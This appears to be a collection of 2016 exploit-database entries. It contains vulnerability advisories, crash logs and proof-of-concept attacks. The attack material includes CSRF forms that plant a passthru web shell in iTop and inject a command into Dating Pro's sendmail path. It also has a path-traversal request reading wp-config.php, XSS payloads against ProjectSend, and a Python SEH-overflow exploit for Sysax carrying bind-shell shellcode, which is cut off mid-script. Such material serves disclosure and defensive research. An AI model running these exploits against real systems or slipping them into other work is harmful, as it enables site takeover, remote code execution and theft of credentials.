b25ziGFudCB0AYCAIG1QX1CKRQAAgABFQVMsJywgJ3BoYXInKXNfLy4uLy4vU3NyLy4uL31zci8u
LjwuL3Vzci8ubWFxUGhhciggJ3Bokm1kLnBoYXIAAAB/CgovL4iInoiIiIiIiIh1Li9//+ggQ29u
ZmlndXJcB2lCY2x1ZC91c3IvLoiJiIiIiKKIiIiIXFxcXFxHXFxcXFxcXFxcXFxciA0uL3VzcmUg
cC8uLi91c3IvLi4uL3MQLy4ULxEvgHNyNiBpbmNsdWQv9G8gdXNcIHRoaXMgcGhhctlzZXRfaW5j
iYgmMSYmJiY4/e3t7WFyI2VmaW5lIGdsb1T/FhYWFhYWFhYWFhYWFhYWFhYWFhYWaGFyJyk7Co5k
ZV9wYXRoKCkpOxYKaWYgKGlzjn+UKCRhcmV2KSAmJiByZWEvdXNyLy4QLy4vdXNyLy4uL31zci8u
LjwuL3Vzci8u5i91c3IvLi4vLi91c3IuLj0ndXNyLy4uEADJci8uJi8uL3VzEC9AEhwuL3NyLy4u
L3Vzci8uLi8uL2lziz4uLi8uL3Vzci8oLi91bmNsdWQvdVNyLy6IiIikiIiIcwAgLi5y3zouLy4v
JiYmJlMmJiYmOBDt7e0=


./bck_out/6648

==4103== Source and destination overlap in memcpy(0x6e5d800, 0x6e5d798, 291)
==4103==    at 0x4C2D75D: memcpy@@GLIBC_2.14 (vg_replace_strmem.c:915)
==4103==    by 0x6AD1B5: _estrdup (zend_alloc.c:2558)
==4103==    by 0x6880FD: php_stream_display_wrapper_errors (streams.c:152)
==4103==    by 0x68AE4B: _php_stream_opendir (streams.c:1994)
==4103==    by 0x5E986A: spl_filesystem_dir_open (spl_directory.c:236)
==4103==    by 0x5ED77F: spl_filesystem_object_construct (spl_directory.c:724)
==4103==    by 0x6C1655: zend_call_function (zend_execute_API.c:878)
==4103==    by 0x6EBF92: zend_call_method (zend_interfaces.c:103)
==4103==    by 0x5A44A8: zim_Phar___construct (phar_object.c:1219)
==4103==    by 0x75D143: ZEND_DO_FCALL_SPEC_RETVAL_UNUSED_HANDLER
(zend_vm_execute.h:1027)
==4103==    by 0x70CFBA: execute_ex (zend_vm_execute.h:423)
==4103==    by 0x76D496: zend_execute (zend_vm_execute.h:467)
==4103==
==4103== Invalid read of size 8
==4103==    at 0x6ACEC3: zend_mm_alloc_small (zend_alloc.c:1291)
==4103==    by 0x6ACEC3: zend_mm_alloc_heap (zend_alloc.c:1362)
==4103==    by 0x6ACEC3: _emalloc (zend_alloc.c:2446)
==4103==    by 0x6DC4E0: zend_hash_real_init_ex (zend_hash.c:140)
==4103==    by 0x6DC4E0: zend_hash_check_init (zend_hash.c:163)
==4103==    by 0x6DC4E0: _zend_hash_add_or_update_i (zend_hash.c:563)
==4103==    by 0x6DC4E0: _zend_hash_str_update (zend_hash.c:667)
==4103==    by 0x6D21FE: zend_symtable_str_update (zend_hash.h:407)
==4103==    by 0x6D21FE: add_assoc_str_ex (zend_API.c:1384)
==4103==    by 0x6E8AA6: zend_fetch_debug_backtrace
(zend_builtin_functions.c:2670)
==4103==    by 0x6EDB3A: zend_default_exception_new_ex (zend_exceptions.c:213)
==4103==    by 0x6D1DBA: _object_and_properties_init (zend_API.c:1311)
==4103==    by 0x429178: zend_throw_exception (zend_exceptions.c:877)
==4103==    by 0x4292A5: zend_throw_error_exception (zend_exceptions.c:910)
==4103==    by 0x42639C: php_error_cb (main.c:1041)
==4103==    by 0x427F4B: zend_error (zend.c:1163)
==4103==    by 0x426FFD: php_verror (main.c:897)
==4103==    by 0x427306: php_error_docref1 (main.c:921)
==4103==  Address 0x5c5c5c5c5c5c5c5c is not stack'd, malloc'd or
(recently) free'd
==4103==
==4103==
==4103== Process terminating with default action of signal 11 (SIGSEGV)
==4103==  General Protection Fault
==4103==    at 0x6ACEC3: zend_mm_alloc_small (zend_alloc.c:1291)
==4103==    by 0x6ACEC3: zend_mm_alloc_heap (zend_alloc.c:1362)
==4103==    by 0x6ACEC3: _emalloc (zend_alloc.c:2446)
==4103==    by 0x6DC4E0: zend_hash_real_init_ex (zend_hash.c:140)
==4103==    by 0x6DC4E0: zend_hash_check_init (zend_hash.c:163)
==4103==    by 0x6DC4E0: _zend_hash_add_or_update_i (zend_hash.c:563)
==4103==    by 0x6DC4E0: _zend_hash_str_update (zend_hash.c:667)
==4103==    by 0x6D21FE: zend_symtable_str_update (zend_hash.h:407)
==4103==    by 0x6D21FE: add_assoc_str_ex (zend_API.c:1384)
==4103==    by 0x6E8AA6: zend_fetch_debug_backtrace
(zend_builtin_functions.c:2670)
==4103==    by 0x6EDB3A: zend_default_exception_new_ex (zend_exceptions.c:213)
==4103==    by 0x6D1DBA: _object_and_properties_init (zend_API.c:1311)
==4103==    by 0x429178: zend_throw_exception (zend_exceptions.c:877)
==4103==    by 0x4292A5: zend_throw_error_exception (zend_exceptions.c:910)
==4103==    by 0x42639C: php_error_cb (main.c:1041)
==4103==    by 0x427F4B: zend_error (zend.c:1163)
==4103==    by 0x426FFD: php_verror (main.c:897)
==4103==    by 0x427306: php_error_docref1 (main.c:921)
Segmentation fault

Program received signal SIGSEGV, Segmentation fault. zend_mm_alloc_small
(size=<optimized out>, bin_num=16, heap=0x7ffff6000040) at
/root/php_bck/Zend/zend_alloc.c:1291 1291 heap->free_slot[bin_num] =
p->next_free_slot; (gdb) i r rax 0x5c5c5c5c5c5c5c5c 6655295901103053916 rbx
0x8 8 rcx 0x10 16 rdx 0x7ffff60000c0 140737320583360 rsi 0x10 16 rdi 0x120
288 rbp 0x7ffff6000040 0x7ffff6000040 rsp 0x7fffffffa230 0x7fffffffa230 r8
0xf74460 16204896 r9 0x7ffff6013170 140737320661360 r10 0x0 0 r11 0x101 257
r12 0x7ffff605c658 140737320961624 r13 0x7ffff605c640 140737320961600 r14
0x7ffff60561f8 140737320935928 r15 0x8439b8 8665528 rip 0x6acec3 0x6acec3
<_emalloc+115> eflags 0x10206 [ PF IF RF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0
es 0x0 0 fs 0x0 0 gs 0x0 0


https://bugs.php.net/bug.php?id=71860

https://twitter.com/vah_13

https://twitter.com/ret5et
            
* CVE: CVE-2015-7378
* Vendor: Panda Security
* Reported by: Kyriakos Economou
* Date of Release: 05/04/2016
* Affected Products: Multiple
* Affected Version: Panda Security URL Filtering < v4.3.1.9
* Fixed Version: Panda Security URL Filtering v4.3.1.9

Description:
All Panda Security 2016 Home User products for Windows are vulnerable to privilege escalation,  which allows a local attacker to execute code as SYSTEM from any account (Guest included), thus completely compromising the affected host.


Affected Products:

Panda Gold Protection 2016 v16.0.1
Panda Global Protection 2016 v16.0.1
Panda Internet Security 2016 v16.0.1
Panda Antivirus Pro 2016 v16.0.1
Panda Free Antivirus v16.0.1


Impact:

A local attacker can elevate his privileges from any user account and execute code as SYSTEM.


Technical Details:

By default all the aforementioned products install (current version:4.3.0.4), which creates a service named 'panda_url_filtering' that runs as SYSTEM.
The executable modules are by default installed in "C:\ProgramData\Panda Security URL Filtering" directory.
However, the ACLs assigned to the directory itself, and to the rest of the installed files, allow any user to modify those files and/or substitute them with malicious ones.
A local attacker can easily execute code with SYSTEM account privileges by modifying or substituting the main executable  module of this service, 'Panda_URL_Filteringb.exe', which will run at the next reboot of the host.


Disclosure Log:
Vendor Contacted: 28/09/2015
Public Disclosure: 05/04/2016

Copyright:
Copyright (c) Nettitude Limited 2016, All rights reserved worldwide.

Disclaimer:
The information herein contained may change without notice. Any use of this information is at the user's risk and  discretion and is provided with no warranties. Nettitude and the author cannot be held liable for any impact resulting  from the use of this information.

Kyriakos Economou
Vulnerability Researcher
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=451

If Color.setTransform is set to a transform that deletes the field it is called on, a UaF occurs. A PoC is as follows:

var tf:TextField = this.createTextField("tf",1,1,1,4,4)

var n = new Object();

n.valueOf = function () {
	trace("here");
	tf.removeTextField()
}

var o = {ra: n, rb:8};

var c = new Color(tf)
c.setTransform(o)


A sample swf and fla are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39652.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=523

The attached file causes a crash in ih264d_process_intra_mb in avc parsing, likely due to incorrect bounds checking in one of the memcpy or memset calls in the method.

The file crashes with the following stack trace in M:

09-08 15:51:01.212  8488  8951 F libc    : Fatal signal 11 (SIGSEGV), code 1, fault addr 0x0 in tid 8951 (le.h264.decoder)
09-08 15:51:01.313   198   198 F DEBUG   : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
09-08 15:51:01.313   198   198 F DEBUG   : Build fingerprint: 'google/hammerhead/hammerhead:6.0/MRA58G/2228996:userdebug/dev-keys'
09-08 15:51:01.313   198   198 F DEBUG   : Revision: '0'
09-08 15:51:01.313   198   198 F DEBUG   : ABI: 'arm'
09-08 15:51:01.313   198   198 F DEBUG   : pid: 8488, tid: 8951, name: le.h264.decoder  >>> /system/bin/mediaserver <<<
09-08 15:51:01.313   198   198 F DEBUG   : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x0
09-08 15:51:01.317   796   938 W NativeCrashListener: Couldn't find ProcessRecord for pid 8488
09-08 15:51:01.322   198   198 F DEBUG   :     r0 ad7877e0  r1 b21cabf8  r2 00000001  r3 00000220
09-08 15:51:01.322   198   198 E DEBUG   : AM write failed: Broken pipe
09-08 15:51:01.322   198   198 F DEBUG   :     r4 000000c5  r5 0000000a  r6 00000000  r7 00000005
09-08 15:51:01.322   198   198 F DEBUG   :     r8 b3098400  r9 b21cabf8  sl 00000001  fp 00000220
09-08 15:51:01.322   198   198 F DEBUG   :     ip b3099bbc  sp ad7876a0  lr b1c38ab7  pc 00000000  cpsr 200d0010
09-08 15:51:01.329   198   198 F DEBUG   : 
09-08 15:51:01.329   198   198 F DEBUG   : backtrace:
09-08 15:51:01.329   198   198 F DEBUG   :     #00 pc 00000000  <unknown>
09-08 15:51:01.329   198   198 F DEBUG   :     #01 pc 00018ab5  /system/lib/libstagefright_soft_avcdec.so (ih264d_process_intra_mb+2544)
09-08 15:51:01.329   198   198 F DEBUG   :     #02 pc 0000de03  /system/lib/libstagefright_soft_avcdec.so (ih264d_recon_deblk_slice+610)
09-08 15:51:01.329   198   198 F DEBUG   :     #03 pc 0000e0b9  /system/lib/libstagefright_soft_avcdec.so (ih264d_recon_deblk_thread+64)
09-08 15:51:01.329   198   198 F DEBUG   :     #04 pc 0003f3e7  /system/lib/libc.so (__pthread_start(void*)+30)
09-08 15:51:01.329   198   198 F DEBUG   :     #05 pc 00019b43  /system/lib/libc.so (__start_thread+6)
09-08 15:51:01.627   198   198 F DEBUG   : 
09-08 15:51:01.627   198   198 F DEBUG   : Tombstone written to: /data/tombstones/tombstone_02

It crashes with the following trace in L:

W/NativeCrashListener( 2256): Couldn't find ProcessRecord for pid 26174
I/DEBUG   ( 6837): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
E/DEBUG   ( 6837): AM write failure (32 / Broken pipe)
I/DEBUG   ( 6837): Build fingerprint: 'google/shamu/shamu:5.1.1/LYZ28K/2168912:user/release-keys'
I/DEBUG   ( 6837): Revision: '33696'
I/DEBUG   ( 6837): ABI: 'arm'
I/DEBUG   ( 6837): pid: 26174, tid: 7029, name: le.h264.decoder  >>> /system/bin/mediaserver <<<
I/DEBUG   ( 6837): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x0
I/DEBUG   ( 6837):     r0 0000000f  r1 ffffffff  r2 af2e286c  r3 00000007
I/DEBUG   ( 6837):     r4 af2e286c  r5 00000010  r6 00000000  r7 00000000
I/DEBUG   ( 6837):     r8 0d452c00  r9 af2fc9c8  sl a36c81f7  fp 1e1a8a58
I/DEBUG   ( 6837):     ip ffffffff  sp af2e2840  lr 0000000f  pc af2ea8f0  cpsr 800c0010
I/DEBUG   ( 6837): 
I/DEBUG   ( 6837): backtrace:
I/DEBUG   ( 6837):     #00 pc 000078f0  /system/lib/libstagefright_soft_h264dec.so
I/DEBUG   ( 6837):     #01 pc 0000000d  <unknown>
I/DEBUG   ( 6837): 
I/DEBUG   ( 6837): Tombstone written to: /data/tombstones/tombstone_09

To reproduce the issue, download the attached file, and wait for it to be thumbnailed. This can be triggered by opening the downloads folder in the Photos application.

Reported to Android here: https://code.google.com/p/android/issues/detail?id=185644


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39651.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=581

There is a use-after-free in the TextField.maxChars setter. If the maxChars the field is set to is an object with valueOf defined, the valueOf function can free the field's parent object, which is then used. A minimal PoC is as follows:

var times = 0;
var mc = this.createEmptyMovieClip("mc", 101);
var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
tf.maxChars = {valueOf : func};

function func(){

        if (times == 0){
            times++;
            return 7;
        }
	mc.removeMovieClip();

        // Fix heap here

	return 7;
	
	}

A sample swf and fla are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39650.zip
            
Advisory ID: HTB23294
Product: Dating Pro
Vendor: DatingPro
Vulnerable Version(s): Genie (2015.7) and probably prior
Tested Version: Genie (2015.7)
Advisory Publication:  February 10, 2016  [without technical details]
Vendor Notification: February 10, 2016 
Vendor Patch: February 29, 2016 
Public Disclosure: March 18, 2016 
Vulnerability Type: Cross-Site Request Forgery [CWE-352]
Risk Level: Critical 
CVSSv3 Base Scores: 8.8 [CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H], 9.6 [CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H]
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge Security Research Lab discovered multiple Cross-Site Request Forgery (CSRF) vulnerabilities in a popular dating social network Dating Pro. 

A remote unauthenticated attacker can perform CSRF attacks to change administrator’s credentials and execute arbitrary system commands. Successful exploitation of the vulnerability may allow attacker to gain complete control over the vulnerable website, all its users and databases. 


1) CSRF in "/admin/ausers/index"

The vulnerability exists due to the absence of validation of HTTP request origin in "/admin/ausers/index" script. A remote unauthenticated attacker can create a specially crafted malicious web page with CSRF exploit, trick a logged-in administrator to visit the page, spoof the HTTP request as if it was coming from the legitimate user, and change login, email address and password of the current website administrator. This means a total takeover of the website. 

A simple CSRF exploit below will change login, email and password to "admin", "admin@mail.com" and "123456" respectively. 

To reproduce the vulnerability, just create an empty HTML file, paste the CSRF exploit code into it, login to iTop website and open the file in your browser:


<form action="http://[host]/admin/ausers/index" method="post" name="main">
<input type="hidden" name="nickname" value="admin">
<input type="hidden" name="email" value="admin@mail.com">
<input type="hidden" name="update_password" value="1">
<input type="hidden" name="password" value="123456">
<input type="hidden" name="repassword" value="123456">
<input type="hidden" name="name" value="admin">
<input type="hidden" name="description" value="">
<input type="hidden" name="btn_save" value="Save">
<input value="submit" id="btn" type="submit" />
</form><script>document.main.submit();</script>


Now you can login as administrator using the above-mentioned credentials.


2) CSRF in /admin/notifications/settings/

The vulnerability exists due to absence of validation of HTTP request origin in "/admin/notifications/settings/" script. A remote unauthenticated attacker can create a specially crafted malicious web page with CSRF exploit, trick a logged-in administrator to visit the page, spoof the HTTP request as if it was coming from the legitimate user, and execute arbitrary system commands with privileges of the web server. 

A simple exploit below will replace full path to sendmail program with the following "cp config.php config.txt" system command that will copy "config.php" file into "config.txt" making its content publicly accessible:


<form action="http://[host]/admin/notifications/settings/" method="post" name="main">
<input type="hidden" name="mail_charset" value="utf-8">
<input type="hidden" name="mail_protocol" value="sendmail">
<input type="hidden" name="mail_useragent" value="pg-mailer">
<input type="hidden" name="mail_from_email" value="admin@site.com">
<input type="hidden" name="mail_from_name" value="PgSoftware">
<input type="hidden" name="" value="">
<input type="hidden" name="btn_save" value="Save">
<input type="hidden" name="mail_mailpath" value="cp config.php config.txt ||">
</form><script>document.main.submit();</script>


The command will be executed the next time when any email is being sent by the vulnerable web application. 

It is also possible to trigger this event using the following following CSRF exploit:


<form action="http://[host]/admin/notifications/settings/" method="post" name="main">
<input type="hidden" name="mail_to_email" value="mail@mail.com">
<input type="hidden" name="btn_test" value="Send">
</form><script>document.main.submit();</script>



-----------------------------------------------------------------------------------------------

Solution:

Update to Genie (2015.7) released after February 29, 2016.

-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23294 - https://www.htbridge.com/advisory/HTB23294  - Admin Password Reset & RCE via CSRF in Dating Pro
[2] Dating Pro - http://www.datingpro.com - Everything you need to start and run a dating business.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[4] ImmuniWeb® - https://www.htbridge.com/immuniweb/ - web security platform by High-Tech Bridge for on-demand and continuous web application security, vulnerability management, monitoring and PCI DSS compliance.
[5] Free SSL/TLS Server test - https://www.htbridge.com/ssl/ - check your SSL implementation for PCI DSS and NIST compliance. Supports all types of protocols.

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.
            
# Exploit Title: Wordpress Plugin HB Audio Gallery Lite - Arbitrary File Download
# Exploit Author: CrashBandicot
# Date: 2016-03-22
# Google Dork : inurl:/wp-content/plugins/hb-audio-gallery-lite
# Vendor Homepage: https://fr.wordpress.org/plugins/hb-audio-gallery-lite/
# Tested on: MSWin32
# Version: 1.0.0

# Vuln file : gallery/audio-download.php

11.   if( $_REQUEST['file_size'] && $_REQUEST['file_path'] ) {
13.       $file_size =  $_REQUEST['file_size'];
15.       $file =  $_REQUEST['file_path'];
17.       $filename = basename($file);
....
55.         Header("Content-Disposition: attachment; filename='" . $filename . "'");


# PoC : /wp-content/plugins/hb-audio-gallery-lite/gallery/audio-download.php?file_path=../../../../wp-config.php&file_size=10


# 22/03/2016 - Informed Vendor about Issue
            
* Exploit Title: Multiple (persistent) XSS in ProjectSend
* Discovery Date: 2016/02/19
* Public Disclosure Date: 2016/03/17
* Exploit Author: Michael Helwig
* Contact: https://twitter.com/c0dmtr1x
* Project Homepage: http://www.projectsend.org/
* Software Link: http://www.projectsend.org/download/108/
* Version: r582
* Tested on: Ubuntu 14.04 with Firefox 45.0
* Category: webapps

Description
========================================================================

ProjectSend is a self-hosted PHP based file-transfer platform. Several serious vulnerabilities have been discovered so far (e.g. https://www.exploit-db.com/exploits/39385/). Here are some further persistent and non-persistent XSS vulnerabilities which affect ProjectSend.

PoC
========================================================================

1. Non-Persistent XSS
~~~~~~~~~~~~~~~~~~~~~~

1.1 - As client in searchbox on my_files/index.php:

curl 'http://projectsend.local.de/my_files/' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Encoding: gzip, deflate' -H 'Accept-Language: en-US,en;q=0.5' -H 'Connection: keep-alive' -H 'Cookie: PHPSESSID=2pgk2ehohqbqmgfr618sisqui2' -H 'Host: projectsend.local.de' -H 'Referer: http://projectsend.local.de/my_files/' -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0' -H 'Content-Type: application/x-www-form-urlencoded' --data 'search=%22%3E%3Cscript%3Ealert%28%27XSS%27%29%3B%3C%2Fscript%3E'


1.2 - As admin in searchboxes on "Manage Clients", "Clients groups" and "System Users":

curl 'http://projectsend.local.de/clients.php' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Encoding: gzip, deflate' -H 'Accept-Language: en-US,en;q=0.5' -H 'Connection: keep-alive' -H 'Cookie: PHPSESSID=2pgk2ehohqbqmgfr618sisqui2' -H 'Host: projectsend.local.de' -H 'Referer: http://projectsend.local.de/clients.php' -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0' -H 'Content-Type: application/x-www-form-urlencoded' --data 'search=%22%3E%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E'

Output:

<input type="text" name="search" id="search" value=""><script>alert('XSS')</script>" class="txtfield form_actions_search_box" />

The searchboxes on "Clients groups", "System Users" and the "Recent activities log" are injectible in the same way.


2. Persistent XSS
~~~~~~~~~~~~~~~~~~

1.1 - As client in "MyAccount" field "Name":

No special vector required.
HTML output for input "><script>alert(1);</script>:

<input type="text" name="add_client_form_name" id="add_client_form_name" class="required" value=""><script>alert(1);</script>" placeholder="Will be visible on the client's file list" />

This XSS also affects admins when they open the "Clients" -> "Manage clients" page:

clients.php html output:
<td><input type="checkbox" name="selected_clients[]" value="2" /></td>
<td>"><script>alert(1);</script></td>
<td>Client1</td>

The fields "Adress" and "Telephone" are injectible in the same way.


1.2  As client in "File upload" field "Name":

A simple vector suffices: "<script>alert('XSS')</script>
The XSS is activated when admins open the dashboard (the code gets loaded from /actions-log.php via ajax) or when he accesses the "Recent activities log"

actions-log.php html output:
<td class="footable-visible">"<script>alert('XSS')</script></td>


1.3 As admin in "Groups" -> "Add new"

The fields "Name" and "Description" are injectible. The XSS is activated on the "Manage groups" page.
Simple vector: "><script>alert('XSS')</script>


Timeline
========================================================================

2016/02/19 - Issues discovered
2016/02/22 - Developed fixes for these and multiple other vulnerabilities. 
             Informed project maintainers
2016/03/04 - Fixes merged into master branch by project maintainers


Solution
========================================================================

Update to current version from GitHub. See https://github.com/ignacionelson/ProjectSend/issues/80 for discussion.
            
Advisory ID: HTB23293
Product: iTop
Vendor: Combodo
Vulnerable Version(s): 2.2.1 and probably prior
Tested Version: 2.2.1
Advisory Publication:  February 10, 2016  [without technical details]
Vendor Notification: February 10, 2016 
Vendor Patch: February 11, 2016 
Public Disclosure: March 18, 2016 
Vulnerability Type: Cross-Site Request Forgery [CWE-352]
Risk Level: High 
CVSSv3 Base Score: 7.1 [CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L]
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge Security Research Lab discovered a Remote Code Execution vulnerability in iTop that is exploitable via Cross-Site Request Forgery flaw that is also present in the application. The vulnerability exists due to absence of validation of HTTP request origin in "/env-production/itop-config/config.php" script, as well as lack of user-input sanitization received via "new_config" HTTP POST parameter. 

A remote unauthenticated attacker can perform CSRF attack and execute arbitrary PHP code on the vulnerable system with privileges of the web server. Successful exploitation of the vulnerability may allow an attacker to execute arbitrary system commands on the web server, gain complete access to vulnerable web application and its databases that may contain very sensitive information. 

The attacker shall create a malicious web page with CSRF exploit code, trick a logged-in administrator to visit the page, spoof the HTTP request as if it was coming from the legitimate user, and permanently inject malicious PHP code into iTop configuration file.

CSRF exploit will inject the following PHP code into iTop configuration file:

<? if(isset($_GET['cmd'])) die(passthru($_GET['cmd'])); ?> 

To reproduce the vulnerability, just create an empty HTML file and paste the following CSRF exploit code into it:


<form action="http://[host]/env-production/itop-config/config.php?c%5Bmenu%5D=ConfigEditor" method="post" name="main">
<input type="hidden" name="operation" value="save">
<input type="hidden" name="prev_config" value="1">
<input type="hidden" name="new_config" value="<? if(isset($_GET['cmd'])) die(passthru($_GET['cmd'])); ?>">
<input value="submit" id="btn" type="submit" />
</form>


Then login to iTop website with admin account and open the file in your browser. 

After successful exploitation an attacker can run arbitrary system commands using the "/pages/UI.php" script. This simple PoC will execute "/bin/ls" directory listing command: 

http://[host]/pages/UI.php?cmd=ls

-----------------------------------------------------------------------------------------------

Solution:

Replace the file datamodels/2.x/itop-config/config.php by the version from the appropriate revision from SVN, then run the setup again.

More Information:
https://sourceforge.net/p/itop/tickets/1202/

-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23293 - https://www.htbridge.com/advisory/HTB23293  - RCE via CSRF in iTop
[2] iTop - http://www.combodo.com - iTop: open source ITIL ITSM Software.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[4] ImmuniWeb® - https://www.htbridge.com/immuniweb/ - web security platform by High-Tech Bridge for on-demand and continuous web application security, vulnerability management, monitoring and PCI DSS compliance.
[5] Free SSL/TLS Server test - https://www.htbridge.com/ssl/ - check your SSL implementation for PCI DSS and NIST compliance. Supports all types of protocols.

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.
            
# Exploit Title: Sysax Multi Server 6.50 HTTP File Share SEH Overflow RCE Exploit
# Date: 03/21/2016
# Exploit Author: Paul Purcell
# Contact: ptpxploit at gmail
# Vendor Homepage: http://www.sysax.com/
# Vulnerable Version Download: http://download.cnet.com/Sysax-Multi-Server/3000-2160_4-76171493.html (6.50 as of posting date)
# Version: Sysax Multi Server 6.50
# Tested on: Windows XP SP3 English
# Category: Remote Code Execution
#
# Timeline: 03/11/16 Bug found
#           03/14/16 Vender notified
#           03/17/16 Vender acknowledges issue and publishes patch (6.51)
#           03/21/16 Exploit Published
#
# Summary:  This is a post authentication exploit that requires the HTTP file sharing service to be running on
#           Sysas Multi Server 6.50. The SID can be retrieved from your browser's URL bar after logging into the
#           service. Once exploited, the shellcode runs with SYSTEM privileges.  In this example, we attack folder_
#           in dltslctd_name1.htm.  The root path of the user shouldn't break the buffer offset in the stack, though
#           the user will need to have permission to delete folders.  If the user has file delete permissions, file_
#           will work as well.  mk_folder1_name1 is also vulnerable with a modified buffer, so this same exploit can
#           be modified to adapt to a users permissions.

import httplib

target = 'webbackup'
port = 80
sid = '57e546cb7204b60f0111523409e49bdb16692ab5'            #retrieved from browser URL after login
#example: http://hostname/scgi?sid=57e546cb7204b60f0111523409e49bdb16692ab5&pid=dltslctd_name1.htm

#msfvenom -p windows/shell_bind_tcp LPORT=4444 --platform windows -a x86 -f c -b "\x00\x0a"

shell=("\x6a\x52\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd7\xae"
"\x73\xe9\x83\xeb\xfc\xe2\xf4\x2b\x46\xf1\xe9\xd7\xae\x13\x60"
"\x32\x9f\xb3\x8d\x5c\xfe\x43\x62\x85\xa2\xf8\xbb\xc3\x25\x01"
"\xc1\xd8\x19\x39\xcf\xe6\x51\xdf\xd5\xb6\xd2\x71\xc5\xf7\x6f"
"\xbc\xe4\xd6\x69\x91\x1b\x85\xf9\xf8\xbb\xc7\x25\x39\xd5\x5c"
"\xe2\x62\x91\x34\xe6\x72\x38\x86\x25\x2a\xc9\xd6\x7d\xf8\xa0"
"\xcf\x4d\x49\xa0\x5c\x9a\xf8\xe8\x01\x9f\x8c\x45\x16\x61\x7e"
"\xe8\x10\x96\x93\x9c\x21\xad\x0e\x11\xec\xd3\x57\x9c\x33\xf6"
"\xf8\xb1\xf3\xaf\xa0\x8f\x5c\xa2\x38\x62\x8f\xb2\x72\x3a\x5c"
"\xaa\xf8\xe8\x07\x27\x37\xcd\xf3\xf5\x28\x88\x8e\xf4\x22\x16"
"\x37\xf1\x2c\xb3\x5c\xbc\x98\x64\x8a\xc6\x40\xdb\xd7\xae\x1b"
"\x9e\xa4\x9c\x2c\xbd\xbf\xe2\x04\xcf\xd0\x51\xa6\x51\x47\xaf"
"\x73\xe9\xfe\x6a\x27\xb9\xbf\x87\xf3\x82\xd7\x51\xa6\x83\xdf"
"\xf7\x23\x0b\x2a\xee\x23\xa9\x87\xc6\x99\xe6\x08\x4e\x8c\x3c"
"\x40\xc6\x71\xe9\xc6\xf2\xfa\x0f\xbd\xbe\x25\xbe\xbf\x6c\xa8"
"\xde\xb0\x51\xa6\xbe\xbf\x19\x9a\xd1\x28\x51\xa6\xbe\xbf\xda"
"\x9f\xd2\x36\x51\xa6\xbe\x40\xc6\x06\x87\x9a\xcf\x8c\x3c\xbf"
"\xcd\x1e\x8d\xd7\x27\x90\xbe\x80\xf9\x42\x1f\xbd\xbc\x2a\xbf"
"\x35\x53\x15\x2e\x93\x8a\x4f\xe8\xd6\x23\x37\xcd\xc7\x68\x73"
"\xad\x83\xfe\x25\xbf\x81\xe8\x25\xa7\x81\xf8\x20\xbf\xbf\xd7"
"\xbf\xd6\x51\x51\xa6\x60\x37\xe0\x25\xaf\x28\x9e\x1b\xe1\x50"
"\xb3\x13\x16\x02\x15\x83\x5c\x75\xf8\x1b\x4f\x42\x13\xee\x16"
"\x02\x92\x75\x95\xdd\x2e\x88\x09\xa2\xab\xc8\xae\xc4\xdc\x1c"
"\x83\xd7\xfd\x8c\x3c")

arg="folder_"                       #can also be changed to file_ if user has file delete permissions
pid="dltslctd_name1"                #Can be changed, though padding will needed to be updated as well 
junk1="A"*26400                     #Initial pile of junk
noppad="\x90"*296                   #Place to land from our long jump and before our shellcode
junkfill="\x90"*(768-len(shell))    #Fill in after our shellcode till nseh    
nseh="\xeb\x06\x90\x90"             #Short jump over SEH
seh="\xd7\x2a\x92\x5d"              #pop esi # pop edi # ret RPCNS4.dll
jump="\xe9\x13\xfc\xff\xff"         #jump back 1000 bytes for plenty of room for your shellcode
junk2="D"*9500                      #Junk at the end


buff=(arg+junk1+noppad+shell+junkfill+nseh+seh+jump+junk2)

 
head = "Host: Wee! \r\n"
head += "User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0\r\n"
